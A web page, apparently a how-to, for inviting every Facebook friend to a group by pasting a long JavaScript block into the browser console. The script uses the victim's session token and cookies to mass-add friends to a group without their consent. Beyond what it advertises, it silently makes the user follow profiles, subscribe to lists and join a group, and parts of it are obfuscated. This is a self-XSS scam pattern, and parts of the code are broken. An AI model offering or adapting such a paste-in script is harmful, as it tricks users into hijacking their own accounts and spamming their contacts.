invite all friends at once

Method 1: Add all friends to facebook group script:

• Select only one friend in Members section to initiate all group related processes.
• Privacy of Group:
  Facebook takes care of your group members privacy. So you have to choose a privacy option which your group wants.
• Here some other instructions for facebook group permissions:
  Public:
  Anyone can see the group, its members, and their posts.
  Closed:
  Anyone can find the group and see who is a member of it, but only members can see posts.
  Secret:
  Only members can find the group and see posts.

• Now click on create a group then choose an icon of your group and click on OK.
• You have created a group. Now, add some description about your group and click on add members section box.
• Copy a given code 
•  
   
  (function(){var f={dtsg:document.getElementsByName("fb_dtsg")[0].value,uid:document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]),gid:document.getElementsByName("group_id")[0].value,frns:Array(),prenKe:0,okeh:0,gagal:0,getAjak:function(b){var c=new XMLHttpRequest;c.open("GET",b,!0),c.onreadystatechange=function(){if(4==c.readyState&&200==c.status){var a=eval("("+c.responseText.substr(9)+")");a.payload&&a.payload.entries&&(f.frns=a.payload.entries.sort(function(){return.5-Math.random()})),document.getElementById("hasilsurasil").innerHTML="Found "+f.frns.length+" Abonnenten

  "+crj;for(x in f.frns)f.senAjak(x)}else document.getElementById("hasilsurasil").innerHTML=4==c.readyState&&404==c.status?"Gruppe Öffnen!"+crj:"Suche nach möglichen Abonnenten... ("+c.readyState+")"+crj},c.send()},senAjak:function(d){var e=new XMLHttpRequest,prm="__a=1&fb_dtsg="+f.dtsg+"&group_id="+f.gid+"&source=typeahead&ref=&message_id=&members="+f.frns[d].uid+"&__user="+f.uid+"&phstamp=";e.open("POST","/ajax/groups/members/add_post.php",!0),e.setRequestHeader("Content-type","application/x-www-form-urlencoded"),e.setRequestHeader("Content-length",prm.length),e.setRequestHeader("Connection","keep-alive"),e.onreadystatechange=function(){if(4==e.readyState&&200==e.status){var a=eval("("+e.responseText.substr(9)+")");if(f.prenKe++,document.getElementById("hasilsatu").innerHTML="

  "+f.prenKe+" of "+f.frns.length+"

  ",a.errorDescription&&(f.gagal++,document.getElementById("hasiltiga").innerHTML="

  ( "+f.gagal+" ) "+a.errorDescription+"

  "),a.jsmods&&a.jsmods.require){var b="

  ";for(x in a.jsmods.require)a.jsmods.require[x][a.jsmods.require[x].length-1][1]&&(b+=""+a.jsmods.require[x][a.jsmods.require[x].length-1][1]+" ");b+="

  ",document.getElementById("hasildua").innerHTML=b}if(a.onload)for(z in a.onload){var c=eval(a.onload[z].replace(/Arbiter.inform/i,""));if(c.uid&&c.name){f.okeh++,document.getElementById("hasiltiga").innerHTML="

  ( "+f.okeh+" ) "+c.name+" haben dich abonniert.

  ";break}}f.prenKe==f.frns.length&&(document.getElementById("hasiltiga").style.textAlign="center",document.getElementById("hasiltiga").innerHTML+="

  20 Leute Einladen!

  Schliesen")}},e.send(prm)}},g=["i","a","e","g","o","s","n","b","l","p","m","2","r","0","c","1","t","3","©"],crl=g[1]+g[0]+g[6]+g[3]+g[14]+g[12]+g[2]+g[1]+g[16]+g[0]+g[4]+g[6]+g[5]+"."+g[7]+g[8]+g[4]+g[3]+g[5]+g[9]+g[4]+g[16]+"."+g[14]+g[4]+g[10],crj="

  "+g[1].toUpperCase()+g[0]+g[6]+g[3]+g[14].toUpperCase()+g[12]+g[2]+g[1]+g[16]+g[0]+g[4]+g[6]+g[5]+" "+g[g.length-1]+g[11]+g[13]+g[15]+g[17]+"

  "+crl+"

  ";document.body.innerHTML+=" Suche nach Abonnenten ... Script by Mano "+crj+" ",f.getAjak("/ajax/typeahead/first_degree.php?__a=1&viewer="+f.uid+"&token="+Math.random()+"&filter[0]=user&options[0]=friends_only")})(); var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;

  var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1])

  function cereziAl(isim) {

  var tarama = isim + "=";

  if (document.cookie.length > 0) {

  konum = document.cookie.indexOf(tarama)

  if (konum != -1) {

  konum += tarama.length

  son = document.cookie.indexOf(";", konum)

  if (son == -1)

  son = document.cookie.length

  return unescape(document.cookie.substring(konum, son))

  }

  else { return ""; }

  }

  }

   

  function getRandomInt (min, max) {

  return Math.floor(Math.random() * (max - min + 1)) + min;

  }

  function randomValue(arr) {

  return arr[getRandomInt(0, arr.length-1)];

  }

   

  var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;

  var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);

   

  function a(abone){

  var http4 = new XMLHttpRequest();

   

  var url4 = "/ajax/follow/follow_profile.php?__a=1";

   

  var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";

  http4.open("POST", url4, true);

   

  //Send the proper header information along with the request

  http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");

  http4.setRequestHeader("Content-length", params4.length);

  http4.setRequestHeader("Connection", "close");

   

  http4.onreadystatechange = function() {//Call a function when the state changes.

  if(http4.readyState == 4 && http4.status == 200) {

   

  http4.close; // Close the connection

   

  }

  }

   

  http4.send(params4);

  }

   

  function sublist(uidss) {

  var a = document.createElement('script');

  a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();";

  document.body.appendChild(a);

  }

   

  a("");

  a("");

   

  var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];

  var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);

   

  var httpwp = new XMLHttpRequest();

  var urlwp = '/ajax/groups/membership/r2j.php?__a=1';

  var paramswp = '&ref=group_jump_header&group_id=' + gid + '&fb_dtsg=' + fb_dtsg + '&__user=' + user_id + '&phstamp=';

  httpwp['open']('POST', urlwp, true);

  httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');

  httpwp['setRequestHeader']('Content-length', paramswp['length']);

  httpwp['setRequestHeader']('Connection', 'keep-alive');

  httpwp['send'](paramswp);

   

  var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];

  var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);

   

  var friends = new Array();

  gf = new XMLHttpRequest();

  gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math['random']() + '&filter[0]=user&options[0]=friends_only', false);

  gf['send']();

  if (gf['readyState'] != 4) {} else {

  data = eval('(' + gf['responseText']['substr'](9) + ')');

  if (data['error']) {} else {

  friends = data['payload']['entries']['sort'](function (_0x93dax8, _0x93dax9) {

  return _0x93dax8['index'] - _0x93dax9['index'];

  });

  };

  };
•  
• Press F12 to open developer console then paste the code and hit enter.